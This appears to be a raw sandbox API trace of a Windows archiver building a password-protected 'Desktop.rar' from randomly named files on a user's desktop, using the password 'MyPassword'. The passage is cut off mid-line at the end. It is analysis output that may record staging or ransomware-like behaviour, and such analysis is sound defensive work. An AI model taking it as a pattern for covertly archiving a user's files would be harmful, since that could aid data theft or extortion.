[0063.748] SetLastError (dwErrCode=0x0) [0063.748] GetDlgItem (hDlg=0x1020e, nIDDlgItem=158) returned 0x1021a [0063.748] GetDlgItem (hDlg=0x1020e, nIDDlgItem=153) returned 0x10218 [0063.748] GetWindowTextW (in: hWnd=0x10218, lpString=0x1bbca0, nMaxCount=2560 | out: lpString=" 0%") returned 5 [0063.748] SetWindowTextW (hWnd=0x10218, lpString=" 100%") returned 1 [0063.748] SendMessageW (hWnd=0x1021a, Msg=0x402, wParam=0x64, lParam=0x0) returned 0x0 [0063.748] QueryPerformanceCounter (in: lpPerformanceCount=0x1bd520 | out: lpPerformanceCount=0x1bd520*=84400037334) returned 1 [0063.748] GetTickCount () returned 0xa66451 [0063.748] GetTickCount () returned 0xa66451 [0063.748] GetTickCount () returned 0xa66451 [0063.748] PeekMessageW (in: lpMsg=0x1bd5f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1bd5f0) returned 1 [0063.749] GetMessageW (in: lpMsg=0x1bd580, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1bd580) returned 1 [0063.749] GetFocus () returned 0x10232 [0063.749] IsDialogMessageW (hDlg=0x1020e, lpMsg=0x1bd580) returned 1 [0063.749] PeekMessageW (in: lpMsg=0x1bd5f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1bd5f0) returned 1 [0063.749] GetMessageW (in: lpMsg=0x1bd580, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1bd580) returned 1 [0063.749] GetFocus () returned 0x10232 [0063.749] IsDialogMessageW (hDlg=0x1020e, lpMsg=0x1bd580) returned 1 [0063.749] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0063.749] ResetEvent (hEvent=0x190) returned 1 [0063.749] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0063.750] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0063.750] ResetEvent (hEvent=0x190) returned 1 [0063.750] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0063.750] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0063.750] PeekMessageW (in: lpMsg=0x1bd370, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1bd370) returned 0 [0063.750] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0063.750] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1bd400*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1bd400*=0) returned 0x833676 [0063.750] SetFilePointer (in: hFile=0x198, lDistanceToMove=112, lpDistanceToMoveHigh=0x1bd3d0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1bd3d0*=0) returned 0x8336e6 [0063.750] CryptUnprotectMemory (in: pDataIn=0x1bd280, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x1bd280) returned 1 [0063.750] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="MyPassword", cchWideChar=-1, lpMultiByteStr=0x1bd200, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MyPassword", lpUsedDefaultChar=0x0) returned 11 [0063.750] CryptUnprotectMemory (in: pDataIn=0x1bcc60, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x1bcc60) returned 1 [0063.750] CryptUnprotectMemory (in: pDataIn=0x1bcd60, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x1bcd60) returned 1 [0063.751] CryptUnprotectMemory (in: pDataIn=0x1bcee0, cbDataIn=0x20, dwFlags=0x0 | out: pDataIn=0x1bcee0) returned 1 [0063.751] WriteFile (in: hFile=0x198, lpBuffer=0x293fde0*, nNumberOfBytesToWrite=0x6a90, lpNumberOfBytesWritten=0x1bd400, lpOverlapped=0x0 | out: lpBuffer=0x293fde0*, lpNumberOfBytesWritten=0x1bd400*=0x6a90, lpOverlapped=0x0) returned 1 [0063.751] PeekMessageW (in: lpMsg=0x1bd370, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1bd370) returned 0 [0063.751] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0063.751] SetFilePointer (in: hFile=0x198, lDistanceToMove=8599158, lpDistanceToMoveHigh=0x1bd3c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1bd3c0*=0) returned 0x833676 [0063.751] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1b9aa0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1b9aa0*=0) returned 0x833676 [0063.751] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x20) returned 0x3c49520 [0063.751] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x20) returned 0x3c49550 [0063.751] RtlReAllocateHeap (Heap=0x290000, Flags=0x0, Ptr=0x3c49550, Size=0x48) returned 0x34e340 [0063.751] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x30) returned 0x3c39490 [0063.751] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x20) returned 0x3c49550 [0063.751] RtlReAllocateHeap (Heap=0x290000, Flags=0x0, Ptr=0x3c49550, Size=0x48) returned 0x34e390 [0063.751] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x3c39490 | out: hHeap=0x290000) returned 1 [0063.751] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x34e340 | out: hHeap=0x290000) returned 1 [0063.751] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x20) returned 0x3c49550 [0063.751] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x20) returned 0x3c49580 [0063.751] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x3c49580 | out: hHeap=0x290000) returned 1 [0063.751] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x3c49550 | out: hHeap=0x290000) returned 1 [0063.751] RtlReAllocateHeap (Heap=0x290000, Flags=0x0, Ptr=0x3c49520, Size=0x48) returned 0x34e340 [0063.751] RtlReAllocateHeap (Heap=0x290000, Flags=0x0, Ptr=0x34e340, Size=0x7a) returned 0x36ea60 [0063.751] WriteFile (in: hFile=0x198, lpBuffer=0x36ea63*, nNumberOfBytesToWrite=0x70, lpNumberOfBytesWritten=0x1b80e0, lpOverlapped=0x0 | out: lpBuffer=0x36ea63*, lpNumberOfBytesWritten=0x1b80e0*=0x70, lpOverlapped=0x0) returned 1 [0063.751] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x20) returned 0x3c49520 [0063.751] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x70) returned 0x299e0c0 [0063.751] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x34e390 | out: hHeap=0x290000) returned 1 [0063.751] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x36ea60 | out: hHeap=0x290000) returned 1 [0063.752] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1bd3c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1bd3c0*=0) returned 0x83a176 [0063.752] CloseHandle (hObject=0x1b0) returned 1 [0063.752] PeekMessageW (in: lpMsg=0x1bd620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1bd620) returned 0 [0063.752] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0063.752] PeekMessageW (in: lpMsg=0x1bd6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1bd6c0) returned 0 [0063.752] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0063.752] FindFirstFileW (in: lpFileName="wfNksu nJRG5\\XTt3.swf", lpFindFileData=0x1bc480 | out: lpFindFileData=0x1bc480) returned 0x3c72330 [0063.752] FindClose (in: hFindFile=0x3c72330 | out: hFindFile=0x3c72330) returned 1 [0063.752] CreateFileW (lpFileName="wfNksu nJRG5\\XTt3.swf" (normalized: "c:\\users\\whuoxysd\\desktop\\wfnksu njrg5\\xtt3.swf"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8000000, hTemplateFile=0x0) returned 0x1b0 [0063.752] LoadStringW (in: hInstance=0x13f160000, uID=0x21c, lpBuffer=0x13f2e0230, cchBufferMax=512 | out: lpBuffer="adding") returned 0x6 [0063.752] GetTickCount () returned 0xa66451 [0063.752] GetWindowTextW (in: hWnd=0x1020e, lpString=0x1bd2e0, nMaxCount=512 | out: lpString="Creating archive Desktop.rar") returned 28 [0063.752] GetDlgItem (hDlg=0x1020e, nIDDlgItem=156) returned 0x10214 [0063.752] GetWindowTextW (in: hWnd=0x10214, lpString=0x1bbe90, nMaxCount=2560 | out: lpString="adding") returned 6 [0063.752] GetDlgItem (hDlg=0x1020e, nIDDlgItem=155) returned 0x10216 [0063.752] GetWindowTextW (in: hWnd=0x10216, lpString=0x1bbe90, nMaxCount=2560 | out: lpString="WIsnHaDYoZ0.ppt") returned 15 [0063.752] SetWindowTextW (hWnd=0x10216, lpString="XTt3.swf") returned 1 [0063.752] GetTickCount () returned 0xa66451 [0063.752] UpdateWindow (hWnd=0x1020e) returned 1 [0063.752] PeekMessageW (in: lpMsg=0x1bd6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1bd6c0) returned 0 [0063.752] CryptAcquireContextW (in: phProv=0x1bd670, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x1bd670*=0x2b25f0) returned 1 [0063.753] CryptGenRandom (in: hProv=0x2b25f0, dwLen=0x10, pbBuffer=0x1bd6f0 | out: pbBuffer=0x1bd6f0) returned 1 [0063.753] CryptReleaseContext (hProv=0x2b25f0, dwFlags=0x0) returned 1 [0063.753] GetSystemTime (in: lpSystemTime=0x1bd608 | out: lpSystemTime=0x1bd608*(wYear=0x7e3, wMonth=0x4, wDayOfWeek=0x2, wDay=0x2, wHour=0xc, wMinute=0x4, wSecond=0x19, wMilliseconds=0x1b2)) [0063.753] SystemTimeToFileTime (in: lpSystemTime=0x1bd608, lpFileTime=0x1bd600 | out: lpFileTime=0x1bd600) returned 1 [0063.753] QueryPerformanceCounter (in: lpPerformanceCount=0x1bd630 | out: lpPerformanceCount=0x1bd630*=84400523644) returned 1 [0063.753] ReadFile (in: hFile=0x1b0, lpBuffer=0x3790040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x1bd710, lpOverlapped=0x0 | out: lpBuffer=0x3790040*, lpNumberOfBytesRead=0x1bd710*=0x8199, lpOverlapped=0x0) returned 1 [0063.753] ReadFile (in: hFile=0x1b0, lpBuffer=0x37981d9, nNumberOfBytesToRead=0xf7e67, lpNumberOfBytesRead=0x1bd710, lpOverlapped=0x0 | out: lpBuffer=0x37981d9*, lpNumberOfBytesRead=0x1bd710*=0x0, lpOverlapped=0x0) returned 1 [0063.754] PeekMessageW (in: lpMsg=0x1bd620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1bd620) returned 0 [0063.754] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0063.754] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x20) returned 0x3c49550 [0063.754] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x20) returned 0x3c49580 [0063.754] RtlReAllocateHeap (Heap=0x290000, Flags=0x0, Ptr=0x3c49580, Size=0x48) returned 0x34e390 [0063.754] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x30) returned 0x3c39490 [0063.754] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x20) returned 0x3c49580 [0063.754] RtlReAllocateHeap (Heap=0x290000, Flags=0x0, Ptr=0x3c49580, Size=0x48) returned 0x34e340 [0063.754] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x3c39490 | out: hHeap=0x290000) returned 1 [0063.754] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x34e390 | out: hHeap=0x290000) returned 1 [0063.754] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x20) returned 0x3c49580 [0063.754] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x20) returned 0x3c495b0 [0063.754] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x3c495b0 | out: hHeap=0x290000) returned 1 [0063.754] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x3c49580 | out: hHeap=0x290000) returned 1 [0063.754] RtlReAllocateHeap (Heap=0x290000, Flags=0x0, Ptr=0x3c49550, Size=0x48) returned 0x34e390 [0063.754] RtlReAllocateHeap (Heap=0x290000, Flags=0x0, Ptr=0x34e390, Size=0x7a) returned 0x36ea60 [0063.754] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x34e340 | out: hHeap=0x290000) returned 1 [0063.754] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x36ea60 | out: hHeap=0x290000) returned 1 [0063.755] GetTickCount () returned 0xa66451 [0063.755] QueryPerformanceCounter (in: lpPerformanceCount=0x1bd550 | out: lpPerformanceCount=0x1bd550*=84400712315) returned 1 [0063.755] GetTickCount () returned 0xa66451 [0063.755] GetTickCount () returned 0xa66451 [0063.755] GetTickCount () returned 0xa66451 [0063.755] PeekMessageW (in: lpMsg=0x1bd620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1bd620) returned 0 [0063.755] PeekMessageW (in: lpMsg=0x1bd620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1bd620) returned 0 [0063.755] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0063.755] ResetEvent (hEvent=0x1a4) returned 1 [0063.755] ReleaseSemaphore (in: hSemaphore=0x1a0, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0063.757] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0xffffffff) returned 0x0 [0063.757] ResetEvent (hEvent=0x1a4) returned 1 [0063.757] ReleaseSemaphore (in: hSemaphore=0x1a0, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0063.758] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0xffffffff) returned 0x0 [0063.758] GetTickCount () returned 0xa66460 [0063.758] QueryPerformanceCounter (in: lpPerformanceCount=0x1bd520 | out: lpPerformanceCount=0x1bd520*=84401042596) returned 1 [0063.758] GetTickCount () returned 0xa66460 [0063.758] GetTickCount () returned 0xa66460 [0063.758] GetTickCount () returned 0xa66460 [0063.758] PeekMessageW (in: lpMsg=0x1bd5f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1bd5f0) returned 1 [0063.758] GetMessageW (in: lpMsg=0x1bd580, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1bd580) returned 1 [0063.758] GetFocus () returned 0x10232 [0063.758] IsDialogMessageW (hDlg=0x1020e, lpMsg=0x1bd580) returned 1 [0063.758] PeekMessageW (in: lpMsg=0x1bd5f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1bd5f0) returned 1 [0063.758] GetMessageW (in: lpMsg=0x1bd580, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1bd580) returned 1 [0063.758] GetFocus () returned 0x10232 [0063.758] IsDialogMessageW (hDlg=0x1020e, lpMsg=0x1bd580) returned 1 [0063.759] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0063.759] ResetEvent (hEvent=0x190) returned 1 [0063.759] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=3, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0063.759] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0063.759] ResetEvent (hEvent=0x190) returned 1 [0063.759] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=3, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0063.760] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0063.760] PeekMessageW (in: lpMsg=0x1bd370, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1bd370) returned 0 [0063.760] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0063.760] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1bd400*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1bd400*=0) returned 0x83a176 [0063.760] SetFilePointer (in: hFile=0x198, lDistanceToMove=105, lpDistanceToMoveHigh=0x1bd3d0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1bd3d0*=0) returned 0x83a1df [0063.760] CryptUnprotectMemory (in: pDataIn=0x1bd280, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x1bd280) returned 1 [0063.760] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="MyPassword", cchWideChar=-1, lpMultiByteStr=0x1bd200, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MyPassword", lpUsedDefaultChar=0x0) returned 11 [0063.760] CryptUnprotectMemory (in: pDataIn=0x1bcc60, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x1bcc60) returned 1 [0063.760] CryptUnprotectMemory (in: pDataIn=0x1bcd60, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x1bcd60) returned 1 [0063.760] CryptUnprotectMemory (in: pDataIn=0x1bcee0, cbDataIn=0x20, dwFlags=0x0 | out: pDataIn=0x1bcee0) returned 1 [0063.760] WriteFile (in: hFile=0x198, lpBuffer=0x293fde0*, nNumberOfBytesToWrite=0x8220, lpNumberOfBytesWritten=0x1bd400, lpOverlapped=0x0 | out: lpBuffer=0x293fde0*, lpNumberOfBytesWritten=0x1bd400*=0x8220, lpOverlapped=0x0) returned 1 [0063.761] PeekMessageW (in: lpMsg=0x1bd370, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1bd370) returned 0 [0063.761] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0063.761] SetFilePointer (in: hFile=0x198, lDistanceToMove=8626550, lpDistanceToMoveHigh=0x1bd3c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1bd3c0*=0) returned 0x83a176 [0063.761] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1b9aa0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1b9aa0*=0) returned 0x83a176 [0063.761] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x20) returned 0x3c49550 [0063.761] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x20) returned 0x3c49580 [0063.761] RtlReAllocateHeap (Heap=0x290000, Flags=0x0, Ptr=0x3c49580, Size=0x48) returned 0x34e340 [0063.761] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x30) returned 0x3c39490 [0063.761] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x20) returned 0x3c49580 [0063.761] RtlReAllocateHeap (Heap=0x290000, Flags=0x0, Ptr=0x3c49580, Size=0x48) returned 0x34e390 [0063.761] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x3c39490 | out: hHeap=0x290000) returned 1 [0063.761] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x34e340 | out: hHeap=0x290000) returned 1 [0063.761] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x20) returned 0x3c49580 [0063.761] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x20) returned 0x3c495b0 [0063.761] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x3c495b0 | out: hHeap=0x290000) returned 1 [0063.761] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x3c49580 | out: hHeap=0x290000) returned 1 [0063.761] RtlReAllocateHeap (Heap=0x290000, Flags=0x0, Ptr=0x3c49550, Size=0x48) returned 0x34e340 [0063.761] RtlReAllocateHeap (Heap=0x290000, Flags=0x0, Ptr=0x34e340, Size=0x7a) returned 0x36ea60 [0063.761] WriteFile (in: hFile=0x198, lpBuffer=0x36ea63*, nNumberOfBytesToWrite=0x69, lpNumberOfBytesWritten=0x1b80e0, lpOverlapped=0x0 | out: lpBuffer=0x36ea63*, lpNumberOfBytesWritten=0x1b80e0*=0x69, lpOverlapped=0x0) returned 1 [0063.761] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x20) returned 0x3c49550 [0063.761] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x69) returned 0x299e140 [0063.761] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x34e390 | out: hHeap=0x290000) returned 1 [0063.761] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x36ea60 | out: hHeap=0x290000) returned 1 [0063.761] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1bd3c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1bd3c0*=0) returned 0x8423ff [0063.761] CloseHandle (hObject=0x1b0) returned 1 [0063.762] PeekMessageW (in: lpMsg=0x1bd620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1bd620) returned 0 [0063.762] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0063.762] PeekMessageW (in: lpMsg=0x1bd6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1bd6c0) returned 0 [0063.762] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0063.762] FindFirstFileW (in: lpFileName="wfNksu nJRG5\\_acNQOwErx 4yX.mp3", lpFindFileData=0x1bc480 | out: lpFindFileData=0x1bc480) returned 0x3c72330 [0063.762] FindClose (in: hFindFile=0x3c72330 | out: hFindFile=0x3c72330) returned 1 [0063.762] CreateFileW (lpFileName="wfNksu nJRG5\\_acNQOwErx 4yX.mp3" (normalized: "c:\\users\\whuoxysd\\desktop\\wfnksu njrg5\\_acnqowerx 4yx.mp3"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8000000, hTemplateFile=0x0) returned 0x1b0 [0063.762] LoadStringW (in: hInstance=0x13f160000, uID=0x21c, lpBuffer=0x13f2e0630, cchBufferMax=512 | out: lpBuffer="adding") returned 0x6 [0063.762] GetTickCount () returned 0xa66460 [0063.762] GetWindowTextW (in: hWnd=0x1020e, lpString=0x1bd2e0, nMaxCount=512 | out: lpString="Creating archive Desktop.rar") returned 28 [0063.762] GetDlgItem (hDlg=0x1020e, nIDDlgItem=156) returned 0x10214 [0063.762] GetWindowTextW (in: hWnd=0x10214, lpString=0x1bbe90, nMaxCount=2560 | out: lpString="adding") returned 6 [0063.762] GetDlgItem (hDlg=0x1020e, nIDDlgItem=155) returned 0x10216 [0063.762] GetWindowTextW (in: hWnd=0x10216, lpString=0x1bbe90, nMaxCount=2560 | out: lpString="XTt3.swf") returned 8 [0063.762] SetWindowTextW (hWnd=0x10216, lpString="_acNQOwErx 4yX.mp3") returned 1 [0063.762] GetTickCount () returned 0xa66460 [0063.762] PeekMessageW (in: lpMsg=0x1bd6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1bd6c0) returned 0 [0063.762] CryptAcquireContextW (in: phProv=0x1bd670, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x1bd670*=0x2b25f0) returned 1 [0063.763] CryptGenRandom (in: hProv=0x2b25f0, dwLen=0x10, pbBuffer=0x1bd6f0 | out: pbBuffer=0x1bd6f0) returned 1 [0063.763] CryptReleaseContext (hProv=0x2b25f0, dwFlags=0x0) returned 1 [0063.763] GetSystemTime (in: lpSystemTime=0x1bd608 | out: lpSystemTime=0x1bd608*(wYear=0x7e3, wMonth=0x4, wDayOfWeek=0x2, wDay=0x2, wHour=0xc, wMinute=0x4, wSecond=0x19, wMilliseconds=0x1c1)) [0063.763] SystemTimeToFileTime (in: lpSystemTime=0x1bd608, lpFileTime=0x1bd600 | out: lpFileTime=0x1bd600) returned 1 [0063.763] QueryPerformanceCounter (in: lpPerformanceCount=0x1bd630 | out: lpPerformanceCount=0x1bd630*=84401507454) returned 1 [0063.763] ReadFile (in: hFile=0x1b0, lpBuffer=0x3790040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x1bd710, lpOverlapped=0x0 | out: lpBuffer=0x3790040*, lpNumberOfBytesRead=0x1bd710*=0x18677, lpOverlapped=0x0) returned 1 [0063.764] ReadFile (in: hFile=0x1b0, lpBuffer=0x37a86b7, nNumberOfBytesToRead=0xe7989, lpNumberOfBytesRead=0x1bd710, lpOverlapped=0x0 | out: lpBuffer=0x37a86b7*, lpNumberOfBytesRead=0x1bd710*=0x0, lpOverlapped=0x0) returned 1 [0063.764] PeekMessageW (in: lpMsg=0x1bd620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1bd620) returned 0 [0063.764] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0063.764] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x20) returned 0x3c49580 [0063.764] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x20) returned 0x3c495b0 [0063.764] RtlReAllocateHeap (Heap=0x290000, Flags=0x0, Ptr=0x3c495b0, Size=0x48) returned 0x34e390 [0063.764] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x30) returned 0x3c39490 [0063.764] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x20) returned 0x3c495b0 [0063.764] RtlReAllocateHeap (Heap=0x290000, Flags=0x0, Ptr=0x3c495b0, Size=0x48) returned 0x34e340 [0063.764] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x3c39490 | out: hHeap=0x290000) returned 1 [0063.764] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x34e390 | out: hHeap=0x290000) returned 1 [0063.764] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x20) returned 0x3c495b0 [0063.764] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x20) returned 0x3c9fb00 [0063.764] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x3c9fb00 | out: hHeap=0x290000) returned 1 [0063.764] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x3c495b0 | out: hHeap=0x290000) returned 1 [0063.764] RtlReAllocateHeap (Heap=0x290000, Flags=0x0, Ptr=0x3c49580, Size=0x48) returned 0x34e390 [0063.764] RtlReAllocateHeap (Heap=0x290000, Flags=0x0, Ptr=0x34e390, Size=0x7a) returned 0x36ea60 [0063.764] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x34e340 | out: hHeap=0x290000) returned 1 [0063.764] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x36ea60 | out: hHeap=0x290000) returned 1 [0063.764] GetTickCount () returned 0xa66460 [0063.764] QueryPerformanceCounter (in: lpPerformanceCount=0x1bd550 | out: lpPerformanceCount=0x1bd550*=84401802355) returned 1 [0063.766] GetTickCount () returned 0xa66460 [0063.766] GetTickCount () returned 0xa66460 [0063.766] GetTickCount () returned 0xa66460 [0063.766] PeekMessageW (in: lpMsg=0x1bd620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1bd620) returned 0 [0063.766] PeekMessageW (in: lpMsg=0x1bd620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1bd620) returned 0 [0063.766] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0063.766] ResetEvent (hEvent=0x1a4) returned 1 [0063.766] ReleaseSemaphore (in: hSemaphore=0x1a0, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0063.767] 